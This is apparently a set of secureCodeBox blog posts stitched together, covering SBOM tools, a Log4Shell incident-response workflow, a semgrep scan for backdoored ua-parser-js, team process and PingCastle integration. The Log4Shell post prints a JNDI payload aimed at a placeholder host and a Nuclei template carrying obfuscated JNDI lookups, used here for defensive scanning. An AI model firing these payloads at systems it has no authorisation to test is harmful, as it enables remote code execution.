Some of the tools listed here, including Trivy and Syft, come with catalogers for different language and package manager ecosystems. This enables them to find packages which were not installed through the default package manager of the system. One remaining problem are packages installed directly as binary, without any kind of package manager. Especially in containers this is pretty prevalent for the "main software" of a container. This is a known issue for both Trivy and Syft: trivy#481, trivy#1064, trivy#2839, syft#1197, syft#1607, syft#1963. It seems that Syft's support for those kinds of binaries is slightly better, in the Juice Shop image, only Syft detects the actual node binary.

Before selecting one of these two as a tool for the MVP, it makes sense to look at the other side of an SBOM workflow, the consuming side. These details are covered in Part 2: SBOM Consumption.

Cover photo by Ray Shrewsberry on Unsplash.

By now, you must have heard about Log4Shell, the present that ruined Christmas for many developers and IT specialists, whether naughty or nice. This blog describes how we used the secureCodeBox as one building block in our incident response process at iteratec.

A Brief Introduction To Log4Shell​

But first, a small refresher: In late November 2021, a zero-day vulnerability was discovered in the widely used Java logging library Log4J. It allowed attackers to remotely execute code through Java Naming and Directory Interface (JNDI) lookups to malicious LDAP servers: If an attacker can get the application to log a payload controlled by the attacker, like {jndi:ldap//evil.ldap.server.adress/a}, then the code hosted on the LDAP server would be loaded and executed by the program, effectively letting third parties take control of the Java Application and the server it's running on.

This vulnerability shook the IT world. It received a CVE rating of 10/10, and even the German government issued a statement calling for immediate action and described the issue as "critical". This is due to two main reasons. First, the vulnerability was relatively simple for attackers to exploit. Second, it has remained undiscovered since 2013, affecting many services from AWS to Minecraft.

At iteratec, as a software development company, we had to assess our security posture as well - for both the infrastructure that we were running for ourselves, as well as the software we develop for our customers. In this blog post, we describe how we leveraged the secureCodeBox as part of our incident response.

Finding Affected Infrastructure​

Determining where a newly-detected vulnerability may be lurking inside your infrastructure can be a daunting task: You have to find a way to detect the vulnerability, test it, and then go through all of your systems to test them for the presence of the vulnerability. Luckily, many parts of this process can be partially automated using the secureCodeBox.

Testing For Vulnerabilities​

Soon after the Log4Shell vulnerability became publicly known, the community of the nuclei scanner published a scan template (the nuclei version of a scan rule, which describes declaratively how to test a host for the vulnerability) to detect the Log4Shell vulnerability. This rule triggers a single HTTP request to the target with a single HTTP get request parameter set to include the JNDI attack payload. It also includes a large number of HTTP header each containing the same attack payload. If the server uses a vulnerable version of Log4J to log one of the parameters, the host will trigger a DNS lookup. Before the scan, nuclei registers a new endpoint on an out-of-band (OOB) interaction service, which will log all DNS lookup made to that unique domain name. Nuclei automatically configures the JNDI attack payload to make the lookup on the domain name of the OOB endpoint. This gives a very effective way to discover the vulnerability with a very low chance for false positives.

Thought the false positive rate is very low, the detection rate can also be low, as the dynamic scans have to actually trigger the vulnerability correctly by passing the right parameters (e.g. ?foo=bar&baz=${jdni...})), finding and using the correct endpoint (e.g. /api/user/login) or including a valid user token and session to access a restricted endpoint. All these things are potentially required to detect Log4Shell via dynamic scanners. Hence, if the scans do not give any results, it does not necessarily mean that no Log4J bug is present, but it can at least rule out the easy-to-find cases.

To use the Nuclei template in the secureCodeBox, we used the Log4Shell Nuclei template and expanded it to include the attack payload in more headers and parameters to increase chance of finding vulnerable hosts. To run these scans, we used the following secureCodeBox configuration:

apiVersion: "execution.securecodebox.io/v1"
kind: Scan
metadata:
  name: "nuclei-log4j"
spec:
  scanType: "nuclei"
  parameters:
    - "-templates"
    - "/custom-nuclei-rules/log4j-template.yaml"
    - "-target"
    - "log4j-vuln.example.com"
  volumeMounts:
    - name: nuclei-template-log4j
      mountPath: /custom-nuclei-rules/
  volumes:
  - name: nuclei-template-log4j
    configMap:
      name: nuclei-template-log4j
---
apiVersion: v1
kind: ConfigMap
metadata:
  name: nuclei-template-log4j
data:
  log4j-template.yaml: |
 
    id: CVE-2021-44228
 
    info:
      name: Remote code injection in Log4j
      author: melbadry9,dhiyaneshDK,daffainfo,J12934
      severity: critical
      description: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
      reference:
        - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
        - https://www.lunasec.io/docs/blog/log4j-zero-day/
        - https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a
      tags: cve,cve2021,rce,oast,log4j
 
    requests:
      - raw:
          - |
            GET /?x=${jndi:ldap://${hostName}.{{interactsh-url}}/a} HTTP/1.1
            Host: {{Hostname}}
            User-Agent: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.{{interactsh-url}}}
            Referer: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.{{interactsh-url}}}
            X-Forwarded-For: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.{{interactsh-url}}}
            Authentication: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.{{interactsh-url}}}
          - |
            GET / HTTP/1.1
            Host: {{Hostname}}
            X-Api-Version: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.{{interactsh-url}}}
 
        matchers-condition: and
        matchers:
          - type: word
            part: interactsh_protocol  # Confirms the DNS Interaction
            words:
              - "dns"
 
          - type: regex
            part: interactsh_request
            regex:
              - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
 
        extractors:
          - type: regex
            part: interactsh_request
            group: 1
            regex:
              - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output

This example consists of a configmap holding the slightly modified Nuclei Log4Shell template which is then mounted and selected as the only template to run in the Nuclei scan defined above.

In the month since, the official Nuclei Log4Shell template was expanded significantly and additional templates to scan for specifc occurences in known vulnerable software like Apache Solr, VMware vCenter, UniFi and more were released. You can use all these rules in a scan like this:

apiVersion: "execution.securecodebox.io/v1"
kind: Scan
metadata:
  name: "nuclei-log4j"
spec:
  scanType: "nuclei"
  parameters:
    - "-tags"
    - "log4j"
    - "-target"
    - "log4j-vuln.example.com"

Building A Demo Target​

We needed a test target to validate that our scanners effectively detect a Log4J vulnerability. Fortunately, secureCodebox already has the ideal resource for this use case: the demo target. We use demo targets in SCB to continuously test the functionality of our scanners during the development cycles. Our existing demo targets include the bodgeit store and OWASP Juice Shop.
Integration tests are run against the demo targets during our CI/CD pipeline to spot any malfunctioning scanner.

Demo targets consist of a Kubernetes service containing a vulnerable application image. Creating a new Log4J demo target is a straightforward process.

First, a vulnerable docker image is required. Luckily, an image has been provided by the GitHub user 'christophetd'. Second, we must create our helm chart folder using the same directory structure as the other demo targets and configure it to use the vulnerable Log4J image. We set the image.repository to the provided docker image above as seen in the following values.yaml file:

replicaCount: 1

image:
  # image.repository -- Container Image
  repository: ghcr.io/christophetd/log4shell-vulnerable-app
  # image.tag -- The image tag
  # @default -- defaults to the appVersion
  tag: null
  # -- Image pull policy. One of Always, Never, IfNotPresent. Defaults to Always if :latest tag is specified, or IfNotPresent otherwise. More info: https://kubernetes.io/docs/concepts/containers/images#updating-images
  pullPolicy: IfNotPresent

service:
  type: ClusterIP
  port: 8080

We also configure a service of type ClusterIP on port 8080. It is essential to expose the demo target's container on the same port. So it would have the port 8080 open to TCP protocol as seen in the Deployment resource below:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: {{ include "vulnerable-log4j.fullname" . }}
  labels:
    {{- include "vulnerable-log4j.labels" . | nindent 4 }}
  annotations:
    {{- include "vulnerable-log4j.annotations" . | nindent 4 }}
spec:
  replicas: {{ .Values.replicaCount }}
  selector:
    matchLabels:
      {{- include "vulnerable-log4j.selectorLabels" . | nindent 6 }}
  template:
    metadata:
      labels:
        {{- include "vulnerable-log4j.selectorLabels" . | nindent 8 }}
      annotations:
        {{- include "vulnerable-log4j.annotations" . | nindent 8 }}
    spec:
    {{- with .Values.imagePullSecrets }}
      imagePullSecrets:
        {{- toYaml . | nindent 8 }}
    {{- end }}
      securityContext:
        {{- toYaml .Values.podSecurityContext | nindent 8 }}
      containers:
        - name: {{ .Chart.Name }}
          securityContext:
            {{- toYaml .Values.securityContext | nindent 12 }}
          image: "{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}"
          imagePullPolicy: {{ .Values.image.pullPolicy }}
          ports:
            - name: http
              containerPort: 8080
              protocol: TCP
          resources:
            {{- toYaml .Values.resources | nindent 12 }}
      {{- with .Values.nodeSelector }}
      nodeSelector:
        {{- toYaml . | nindent 8 }}
      {{- end }}
    {{- with .Values.affinity }}
      affinity:
        {{- toYaml . | nindent 8 }}
    {{- end }}
    {{- with .Values.tolerations }}
      tolerations:
        {{- toYaml . | nindent 8 }}
    {{- end }}

And then we are essentially done. All that is left now is to install the demo target in the preferred namespace, as shown below:

helm upgrade --install vulnerable-log4j ./demo-targets/vulnerable-log4j/ --namespace <NAMESPACE>

After using the demo target to validate that the scanner works, we then proceeded to run it against our own infrastructure.

Finding Hosts​

To scan for the Log4Shell vulnerabilities dynamically (DAST) we first have to identify what to scan, the so-called attack surface. One powerful feature of the secureCodeBox is the dynamic scan orchestration of different security scanner: the cascading scans mechanism. Based on that it is easy to run an initial scan to discover scan targets and use their result to automatically start (cascade) specialized scans for the identified hosts and domains.We used two different different discovery methods:

For hosts sitting in internal networks, we used nmap (with the secureCodeBox nmap scanType) to identify active hosts and open ports in our internal IP ranges (e.g. 10.42.0.0/16) and network segments. Every port which nmap identified to be related to http(s) (which is generally the easiest protocol to scan for Log4Shell even thought it can also be exploitable via different protocols) was used as a target in a cascading Log4Shell scan. 2. For publicly available hosts, we used the OWASP AMASS scanner (with the secureCodeBox amass scanType) first to find subdomains for the list of domain names we own as a company. This outputs a list of a subdomains which also automatically trigger nmap cascading scans to find open http(s) ports for the actual Log4Shell vulnerability assessment.

After enumerating the targets, we triggered the actual Nuclei scans using another cascading rule.

Most scanner helm charts in the secureCodeBox come with cascading rules by default. E.g. the rule used to trigger the nmap port scans on amass findings is included by default in the nmap helm chart GitHub. With the nuclei cascading rule we wanted to have more control over the configuration of the automatically created cascaded scans so we disabled the cascading rules included by default in the helm chart (helm install nuclei oci://ghcr.io/securecodebox/helm/nuclei --set="cascadingRules.enabled=false") and created our own, incorporating our custom nuclei configuration described above. The rule then looked like the following (reusing the ConfigMap created in the example above):

apiVersion: "cascading.securecodebox.io/v1"
kind: CascadingRule
metadata:
  # Note this rule is just for https targets, we've also used our http rule to scan http ports, see http rule: https://github.com/secureCodeBox/secureCodeBox/blob/main/scanners/nuclei/cascading-rules/subdomain_http.yaml
  name: "nuclei-log4j-scan-https"
  labels:
    securecodebox.io/invasive: non-invasive
    securecodebox.io/intensive: light
spec:
  matches:
    anyOf:
      - category: "Open Port"
        attributes:
          port: 443
          state: open
      - category: "Open Port"
        attributes:
          service: "https"
          state: open
      - category: "Open Port"
        attributes:
          service: "https*"
          state: open
  scanSpec:
    scanType: "nuclei"
    # This example uses the ConfigMap we created further up in the article.
    # If you want to use the official set of Nuclei templates for Log4J,
    # change the parameterization below as previously described.
    parameters:
      - "-templates"
      - "/custom-nuclei-rules/log4j-template.yaml"
      - "-target"
      # Target domain name of the finding and start a nuclei scan
      - "https://{{$.hostOrIP}}:{{attributes.port}}"
    volumeMounts:
      - name: nuclei-template-log4j
        mountPath: /custom-nuclei-rules/
    volumes:
    - name: nuclei-template-log4j
      configMap:
        name: nuclei-template-log4j

Finding Affected Code​

Of course, as a software development company, we also had to validate that the code we produce for our customers wasn't affected. The individual development teams quickly determined if their projects were affected, created updates, and shipped them to the customers. As part of the security team, we supported the teams in their efforts. In parallel, we used the static code analysis (SAST) capabilities of the secureCodeBox to scan our software repositories for places where code may have been missed. We followed the workflows outlined in the previous blog post, using a set of semgrep rules written by Kurt Boberg (@lapt0r) and Lewis Ardern (@LewisArdern) and released on the semgrep Slack. Although these rules will not detect everything (in particular, they will not find Log4J if it is pulled in transitively via a dependency), they allowed us to get some quick insight into which repositories may require further investigation.

Conclusion​

When a new critical vulnerability is found, it is often imperative to act quickly and comprehensively. The secureCodeBox can play an invaluable role in quickly identifying affected systems and software repositories, especially if you prepare and test incident response playbooks in advance so that you only have to configure the correct detection rules and then rely on a well-tested stack of security scanners to collect your findings.

How do you use the secureCodeBox? We are looking forward to hearing your own stories and ideas for using secureCodeBox - the OWASP Slack (Channel #project-securecodebox) or GitHub to get in touch.

Cover photo by Agence Olloweb on Unsplash.

With secureCodeBox 3.3, we have added several features that allow you to use secureCodeBox for static application security testing (SAST). This blog post gives an introduction to how several new features of secureCodeBox 3.3 can be used to quickly run targeted SAST scans of your entire codebase. By the end of this post, you will know how to build a SAST workflow to detect which of your repositories include a malicious dependency. We will cover all steps of the process: obtaining a list of all software repositories in your organization, cloning and scanning them, and even dropping all of the results into a DefectDojo instance for later inspection.

Introduction​

secureCodeBox has been able to run dynamic security tests of your infrastructure for quite a while. However, some issues are easier to catch by analyzing the source code of the applications directly. This is the domain of static application security testing (SAST) tools, which detect dangerous code fragments and inform you long before they hit your production systems. Normally, you would integrate these tools directly into your continuous integration (CI) workflows, so that the warnings reach the developers directly. However, in some cases, you may also want to automatically analyze all repositories of your organization from a central location. For example: You may want to find out which repositories use a specific API that you want to deprecate, check if any projects include a vulnerable (or malicious) version of a library, or perform a variant analysis to determine if a newly detected critical security issue is present in other repositories. In these cases, having your security team run a single, automated scan over all repositories can be easier than approaching every single development team individually.

Case Study: Finding A Malicious Dependency​

Let us imagine you are a security specialist at a software company. You wake up to the news that the popular JavaScript library UA-parser-js was backdoored by attackers. Of course, you let your colleagues know immediately, but now you are wondering: is any of the software in our code repositories actually using the affected version of the library? Let's find out!

In total, we need to perform three steps:

1. Identify all Git repositories in your organization.
2. Clone each repository and check if they are using an affected version of the library.
3. Make the results available for inspection.

Finding All Git Repositories​

For the purpose of this article, we will assume that you are using either GitHub or Gitlab to manage your source code repositories, and that you have (at the very least) read access to them. If this is the case, you can use the existing git-repo-scanner to generate a list of all repositories in your organization. For example, you can find all repositories under the secureCodeBox GitHub organization like this:

apiVersion: "execution.securecodebox.io/v1"
kind: Scan
metadata:
  name: "scan-github"
spec:
  scanType: "git-repo-scanner"
  parameters:
    - "--git-type"
    - "github"
    - "--access-token"
    - "$(GITHUB_TOKEN)"
    - "--organization"
    - "secureCodeBox"
    - "--annotate-latest-commit-id"
    - "True"
  # The cascades here will be explained later
  cascades:
    matchLabels:
      securecodebox.io/intensive: medium
      securecodebox.io/invasive: non-invasive
  env:
    - name: GITHUB_TOKEN
      valueFrom:
        secretKeyRef:
          name: github-access-token
          key: token

This example assumes that you have created a GitHub Personal Access Token with the repo scope and loaded it as a Kubernetes secret named github-access-token. To do the latter, run:

# Don't forget the leading whitespace in the command to avoid 
# having your GitHub access token in your shell history!
 echo -n 'gh_abcdef...' > github-token.txt  # use -n to avoid trailing line break
kubectl create secret generic github-access-token --from-file=token=github-token.txt
rm github-token.txt

And that's it! In this example, the scanner will automatically find all repositories under the secureCodeBox GitHub organization that you have access to, and generate a JSON output that looks something like this:

[
  {
    "name": "GitHub Repo",
    "description": "A GitHub repository",
    "category": "Git Repository",
    "osi_layer": "APPLICATION",
    "severity": "INFORMATIONAL",
    "attributes": {
      "id": "292293538",
      "web_url": "https://github.com/secureCodeBox/documentation",
      "full_name": "secureCodeBox/documentation",
      "owner_type": "Organization",
      "owner_id": "34573705",
      "owner_name": "secureCodeBox",
      "created_at": "2020-09-02T13:39:10Z",
      "last_activity_at": "2021-10-26T11:23:25Z",
      "visibility": "public",
      "last_commit_id": "106a70b63fe9ffd6b2b264352331fc5e7d7821f0"
    },
    "id": "37c49e64-0f12-40ec-9e51-460d8b5e99f9",
    "parsed_at": "2021-10-26T14:19:42.707Z"
  },
  {
    "name": "GitHub Repo",
    "description": "A GitHub repository",
    "category": "Git Repository",
    "osi_layer": "APPLICATION",
    "severity": "INFORMATIONAL",
    "attributes": {
      "id": "80711933",
      "web_url": "https://github.com/secureCodeBox/secureCodeBox",
      "full_name": "secureCodeBox/secureCodeBox",
      "owner_type": "Organization",
      "owner_id": "34573705",
      "owner_name": "secureCodeBox",
      "created_at": "2017-02-02T09:48:05Z",
      "last_activity_at": "2021-10-26T11:44:02Z",
      "visibility": "public",
      "last_commit_id": "b16b0ddfbad578a35fe54100b9192165ac2f5c0c"
    },
    "id": "11b20733-eba5-47d7-b64d-09cf22bab29b",
    "parsed_at": "2021-10-26T14:19:42.707Z"
  },
  // And so on...
]

So, now that we have a list of repositories, how do we scan them?

Creating Follow-Up Scans​

Cascading scans are probably one of the most useful features of secureCodeBox. They allow you to use results from a previous scan to dynamically create targeted follow-up scans. You can even include a selector to filter which results you want to act on, and which you want to ignore. Consider the following cascading scan definition:

apiVersion: "cascading.securecodebox.io/v1"
kind: CascadingRule
metadata:
  name: "find-ua-parser-backdoor"
  # How invasive and resource intensive is this cascading scan?
  # Scans can use this to filter out specific CascadingRules (see the
  # 'cascades' definition in the example scan above)
  labels:
    securecodebox.io/invasive: non-invasive
    securecodebox.io/intensive: medium
spec:
  # Filter the results that the cascading scan should be run on.
  matches:
    anyOf:
      # Only run on GitHub repositories...
      - name: "GitHub Repo"
        # ...that are public
        # (Of course, you can remove this part if you also want
        # to scan private repositories)
        attributes:
          visibility: public
  scanSpec:
    # TODO: scanSpec will follow

This (incomplete) example of a cascading scan rule shows off some of their features: We can categorize how resource-intensive and invasive the defined scans are (so that the preceding scans can filter out specific cascading rules that are too invasive for the current engagement), and filter which results we want to act on. In this example, we want to act on result with the name "GitHub Repo" that have an attribute called "visibility" that is set to "public". Of course, we can drop the latter part if we also want to analyze private repositories.

So, this is all well and good, but how can we turn this into a SAST scan? For this, we turn to the newest member in the family of secureCodeBox scanners: semgrep.

Detecting Affected Code​

Semgrep is an open source SAST scanner that we added to secureCodeBox with the 3.3 release. It has support for many popular programming languages and a large corpus of pre-defined scan rules, but also allows you to write your own rules in a fairly intuitive and flexible syntax. For example, this is a basic rule to find package-lock.json files that contain a reference to an affected version of the UA-parser-js library:

rules:
- id: backdoored-ua-parser
  pattern-either:
    - pattern: |
        "ua-parser-js": { "version": "0.7.29", ... }
    - pattern: |
        "ua-parser-js": { "version": "0.8.0", ... }
    - pattern: |
        "ua-parser-js": { "version": "1.0.0", ... }
  paths:
    include:
      - package-lock.json
  message: Backdoored version of ua-parser-js found
  languages: [json]
  severity: ERROR
  metadata:
    references:
      - https://www.bleepingcomputer.com/news/security/popular-npm-library-hijacked-to-install-password-stealers-miners/

This rule will search through all package-lock.json files and look for any references to the affected versions of the library (of course, in practice you may want to refine this rule a bit more, but it is good enough for this example). So, we have a rule, and we have a list of repositories - but how do we get the code from the repositories to where the scanner is? By using another newly introduced feature of secureCodeBox: init containers.

Getting The Code To The Scanner​

If you already have some experience with Kubernetes, you may already know the concept of init containers. Briefly, they are containers that are run before the main container of a job is run, and are used to provision specific data or configurations files for the main container. With secureCodeBox 3.2, we have added support for init containers. We can use this to provision the Git repository into the semgrep scan container, specifying a shared volume between the init container and the main job so that they can share the downloaded data. We can thus complete the cascading rule we began writing above.

apiVersion: "cascading.securecodebox.io/v1"
kind: CascadingRule
metadata:
  name: "find-ua-parser-backdoor"
  labels:
    securecodebox.io/invasive: non-invasive
    securecodebox.io/intensive: medium
spec:
  matches:
    anyOf:
      - name: "GitHub Repo"
        # Remove the the next two lines to scan all repositories,
        # or leave them to only scan public repositories
        attributes:
          visibility: public
  scanSpec:
    # We are scanining using semgrep
    scanType: "semgrep"
    # Specify an empty volume that we can share between scan and
    # init container
    volumes:
      - name: repo
        emptyDir: {}
    # Mount it on the scanner at /repo
    volumeMounts:
      - name: repo
        mountPath: "/repo/"
    parameters:
      # Reference the rule we created above in the semgrep playground: 
      # https://semgrep.dev/s/DzLd/
      # Of course, you can also specify a complete ruleset, like p/ci,
      # or place the rule in a YAML file using a Kubernetes secret or
      # ConfigMap.
      - "-c"
      - "s/DzLd"  
      # Disable the maximum scanned file size for semgrep, otherwise
      # very large package-lock.json files will be ignored
      - "--max-target-bytes 0"
      # Our code will be located at /repo/
      - "/repo/"
    # Specify the init container for cloning the code
    initContainers:
      - name: "git-clone"
        # Use a container with the git binary
        image: alpine/git
        # We are assembling the git clone URL with HTTP authentication,
        # using the same personal access token as in the git-repo-scanner.
        # Note that using {{{triple braces}}} is important, as otherwise the
        # templating engine will automatically escape special characters and
        # break the URL.
        command:
          - git
          - clone
          - "https://$(GITHUB_TOKEN)@github.com/{{{attributes.full_name}}}"
          - /repo/
        # Specify that the "repo" volume should also be mounted on the 
        # initContainer
        volumeMounts:
          - mountPath: "/repo/"
            name: repo
        # Pull in the GitHub token from the secrets, as above
        env:
          - name: GITHUB_TOKEN
            valueFrom:
              secretKeyRef:
                name: github-access-token
                key: token

If you load this cascading rule and start the git-repo-scanner scan we defined above, it automatically starts scans for all repositories found by git-repo-scanner (make sure the git-repo-scanner and semgrep scantypes as well as the CascadingScans hook are installed). After waiting a while for the scan to finish, you can see the results using kubectl get scans - since we have a simple rule that only matches one specific vulnerability, any finding that is shown in the results should be investigated (find out which repository it belongs to by running kubectl describe scan [name of the scan] | grep github.com). However, maybe you want to also inspect the data in an application security management system like DefectDojo?

Getting The Results Into DefectDojo​

secureCodeBox has had a DefectDojo integration for a while. It allows you to automatically import data from your scans to DefectDojo, and optionally pull the results of the import back into secureCodeBox. You can control how the imported data is assigned to products, engagements and tests in DefectDojo by using scan annotations, which also support templating for cascading scans. For example, the following extended cascading scan definition now assigns each scan to a DefectDojo product for that repository, and also includes some version information.

apiVersion: "cascading.securecodebox.io/v1"
kind: CascadingRule
metadata:
  name: "find-ua-parser-backdoor"
  labels:
    securecodebox.io/invasive: non-invasive
    securecodebox.io/intensive: medium
spec:
  # Add scan annotations for DefectDojo
  scanAnnotations:
    # Product type is "Git Repository"
    defectdojo.securecodebox.io/product-type-name: "Git Repository"
    # Name is the name of the repo (mind the triple braces!)
    defectdojo.securecodebox.io/product-name: "{{{ attributes.full_name }}}"
    # Add a few tags for easier indexing
    defectdojo.securecodebox.io/product-tags: git,github,repository,code
    # Denote that the scan belongs to an engagement that checks for
    # the presence of affected ua-parser-js versions
    defectdojo.securecodebox.io/engagement-name: "semgrep-ua-parser-js"
    # Add the latest commit ID as a version
    defectdojo.securecodebox.io/engagement-version: "{{ attributes.last_commit_id }}"
    # Name the specific test we performed by combining name and latest 
    # commit ID
    defectdojo.securecodebox.io/test-title: "{{{ attributes.full_name }}} - {{ attributes.last_commit_id }}"
  # ... rest of the definition as above, omitted for space

Of course, we also want to help you follow security best practices in your security scanning infrastructure, so starting with secureCodeBox 3.3, you can also run the DefectDojo hook with an API key with limited permissions instead of the full administrative access that was previously required. For more details, see the DefectDojo Hook Documentation.

Conclusion​

We hope this example shows how SAST scans can be a valuable addition to your secureCodeBox toolbelt, even if you are already using such scanners as part of the CI pipeline. Of course, nothing stops you from using scheduled scans to keep re-running these scans on a regular basis to check for additional issues like leaked secrets (which is also possible with gitleaks) or high-confidence security issues in your repositories, just to make sure the existing processes did not miss anything. As always, our goal is to provide a platform that works with your workflows instead of prescribing our own. We are looking forward to hearing your own stories and ideas for using secureCodeBox - OWASP Slack (Channel #project-securecodebox) or GitHub to get in touch.

Cover photo by Kelly Sikkema on Unsplash.

Learn how our core development team works and about how to collaborate with us!

Introduction​

The secureCodeBox is still a small, yet growing open source project. At the time of writing, the major share of work is done by roundabout eight developers from Iteratec. That's also where the idea for the secureCodeBox was born about four years ago. Lately, we received a growing number of community contributions (Thank you!), which encourages us to reveal our internal development process to a wider audience. We do so to enable you, if you will, to take an even more active part in our development process (see last section).

How We Work​

Both, students and full-time developers, work together in our team. In addition, we are highly geographically distributed all over Germany. This, of course, requires some coordination, because especially the regular employees often have to take some time for the open source project only. That's why we are working in an agile setup and try to stick to the general ideas of Scrum and Kanban. We work in sprints of two weeks (regularly). For each sprint, our Product Owner (PO) decides, which tasks are the most important to solve. Thereupon, our developers are free to coordinate and pick the issues they want to work on. The communication itself happens on our internal MS Teams platform. To keep the community updated all our tickets are publicly available on GitHub as issues. You can even get insight into our current sprint in our GitHub Project. The issues in the To-Do column are sorted by their importance regarding the current sprint.

For each issue, one or more developers will usually create a new branch in the repository and commit changes there. After completion, a Pull Request (PR) will be created and reviewed by other members of the team. After all our CI tests and the reviewer are satisfied, the PR gets merged automatically or by one of our admins.

Review/Retro/Planning Session​

The highlight of every sprint, finally, is our Review/Retro/Planning session. It lasts about two hours, while we first review which results we achieved during the last sprint, i.e. which issues we worked on. We often show new features that we added to the other developers and the Product Owner, or point out on problems that we are currently facing and how we want to solve them. Because of limited time, we don't discuss new features or problems in-depth, as we also have a separate dev meeting for that.

Next up, we do a retro(-perspective) of the elapsed sprint. For example, we discuss what we liked, what we learnt and what we missed in the past weeks. This can range from technical problems over theoretical learnings about security to personal issues. It is designed as a safe space where everyone can freely speak his mind without fear of negative consequences. We also try to stick to the principles of Inspect and Adapt, which means that we always want to improve on limitations and problems that we identified during the last sprint.

Finally, we plan our next sprint, where issues will get prioritized by the product owner as described above. Other team members will, of course, also be asked for their opinion on what to focus on and what will take how much time. This ensures that the dreams of our product owner always stay realistic ;-). After that, a new sprint starts over (but before we enjoy our weekend).

Get Engaged!​

You now know how our core development team is organized to work at the secureCodeBox. If you are a regular user of the secureCodeBox and/or want to contribute more actively to the code, now is the best time to start! Of course, you can stay "anonymous", create your own pull requests and issues in our repository or chat with our developers about new features. If you, however, want to take one step further, we are very happy if you get in touch, for example by writing us an e-mail or joining our #project-securecodebox channel in the OWASP Slack.

Of course, we will face some new challenges when we integrate new stakeholders and developers into our meetings. The time span of our meeting is already quite tight for all that we have to discuss, and we would probably also have to deal with different time zones. That is why we are very happy to hear from you and discuss, how we can get you involved into our development process and find solutions together!

Cover photo by Tadas Sar on Unsplash.

Get some insights into the fascinating and exhausting world of integrating Windows™ scanners into the secureCodeBox.

Windows Security​

To date, Microsoft Windows is still the most popular operating system, especially in office or work related areas. Unsurprisingly, the majority of malware is also created for windows. While most of the scanners already implemented in the secureCodeBox can target and be run on any operating system, the need for Windows-specific security measures is blatant. There exist several security scanners that target specific Windows-related security aspects, such as Mandiant or PingCastle. PingCastle scans a domain with an Active Directory (AD), reporting any risks that can result from disproportionately privileged accounts or weak password policies for example. It is the first scanner that we went for integrating in the secureCodeBox, and what a journey it was! Join us on our path to automated Windows security, including a lot of inception, dirty workarounds and a sour taste of Wine...

Integrating PingCastle into the secureCodeBox - First Attempts​

So here was our starting point: We already ran some successful scans of PingCastle against our own AD. So it would be nice to automate the scans and get informed if some critical issues arise. As this is the whole point of our secureCodeBox, we wanted to add PingCastle as a scanner and eventually provide the community (you) with a possibility to do the same. As all of our scanners run on Linux distributions to date, it would not be feasible to simply add a Windows Docker container to our Kubernetes cluster, as Linux and Windows Docker environments are not easily interchangeable. So the idea was simply to run PingCastle in a Linux container. Well, it didn't turn out to be that simple...

As PingCastle is open source, our first attempt was to compile it ourselves with Mono or .NET for Linux. We tried it to no avail. After some talks with professional .NET developers, we decided that this approach will exceed both our time and knowledge capabilities.

So the next idea was to run it with Wine. If this worked, we would have had a pretty stable solution that could probably be applied for a lot of Windows scanners. Unfortunately, PingCastle did start and execute in our Wine environment, but failed to execute any scans against our AD. After trying a lot of stuff with adding our computers to the domain and using VPN connections, we had to give up. Probably, PingCastle in the Wine environment does not have the required access to some DLLs needed for the scan or PingCastle itself is just a little picky as we will see later... However, maybe we will come back to Wine in the future for other Windows scanners.

Starting the inception​

So we finally came up with a rather "brute-force" method: If PingCastle solely runs on Windows - why not put Windows into a Linux container? Virtual machines (VMs) have become a well-known tool to achieve stuff like this. After solving some problems setting it up, we could confirm that it actually worked to run a Windows VM in a Linux Docker Container! (Running on our Ubuntu main OS, providing the Virtual Box driver, so that the VM actually does not run in the container but rather on the host OS, the inception took off!)

After that we prepared the Windows 10 virtual machine image by adding it to the domain, linking it to our VPN and finally installing PingCastle. We could confirm that the scans inside the VM ran properly, but surprisingly a major issue with the VPN arose. Of course, one has to connect to the VPN automatically on start-up in order to run the scans from outside the machine. It turned out, however, that PingCastle is indeed very picky. It always refused to work while the machine was connected automatically to the VPN (e.g. using rasdial). It would, however, perfectly do its job when being connected manually to the VPN! We tried a lot here, and you can read all about our dirty workaround to finally make it work in our related extensive "Tutorial".

Conclusion​

With this tutorial you should be able to reproduce our attempt and set up a working container that is actually capable to be integrated into the secureCodeBox. We already provide you with all other necessary files, especially the parser that automatically converts the PingCastle scan xml to our secureCodeBox findings format. Be aware, however, that the solution is not yet stable for production and that you could still face some major issues with it. For example, it is not yet clear to us how the container will behave when being deployed over a long period of time. Maybe the VM will shut down unexpectedly, and we all know and love the BSoD when Windows refuses to start normally. This, of course, would also hinder any automatic scans from being executed.

That is why we are thankful for any comments, experience reports or even suggestions, how to improve our chosen setup. In addition, if you have any questions or face any issues, please also let us know!

Cover photo by Alex Wong on Unsplash.

In a previous post I described the rationale behind our decision to abandon the secureCodeBox v1 and redesign the whole architecture. In this post I'll go into the details of this redesigned architecture.

The Architecture of secureCodeBox Version 2​

In Kubernetes 1.17 they introduced a new concept of custom resources. The short idea is, that you may extend Kubernetes with your own resources additionally to the default ones shipped with Kubernetes. Why should you do this? The interesting part of Kubernetes is that it is a great tool for resource management. Solely it is the most important part of Kubernetes to automate the management of datacenter resources. In v1 we "abused" a BPMN engine for managing the scans and the associated resources were allocated all the time. But since the most important parts of the secureCodeBox (the scanners) are containers anyway, it makes sense to use a tool which is designed for managing such resources. So we came up with the idea to define the scanners as custom resources and replace the heavy Java based engine from v1 with a custom operator for Kubernetes. The whole idea to use Kubernetes as orchestrator for the scans is based upon a master thesis our core maintainer Jannik has written about Automatic Assessment of Applications Security Aspects running in Cloud Environments. The following diagram shows the new architecture of secureCodeBox v2.

Legend:

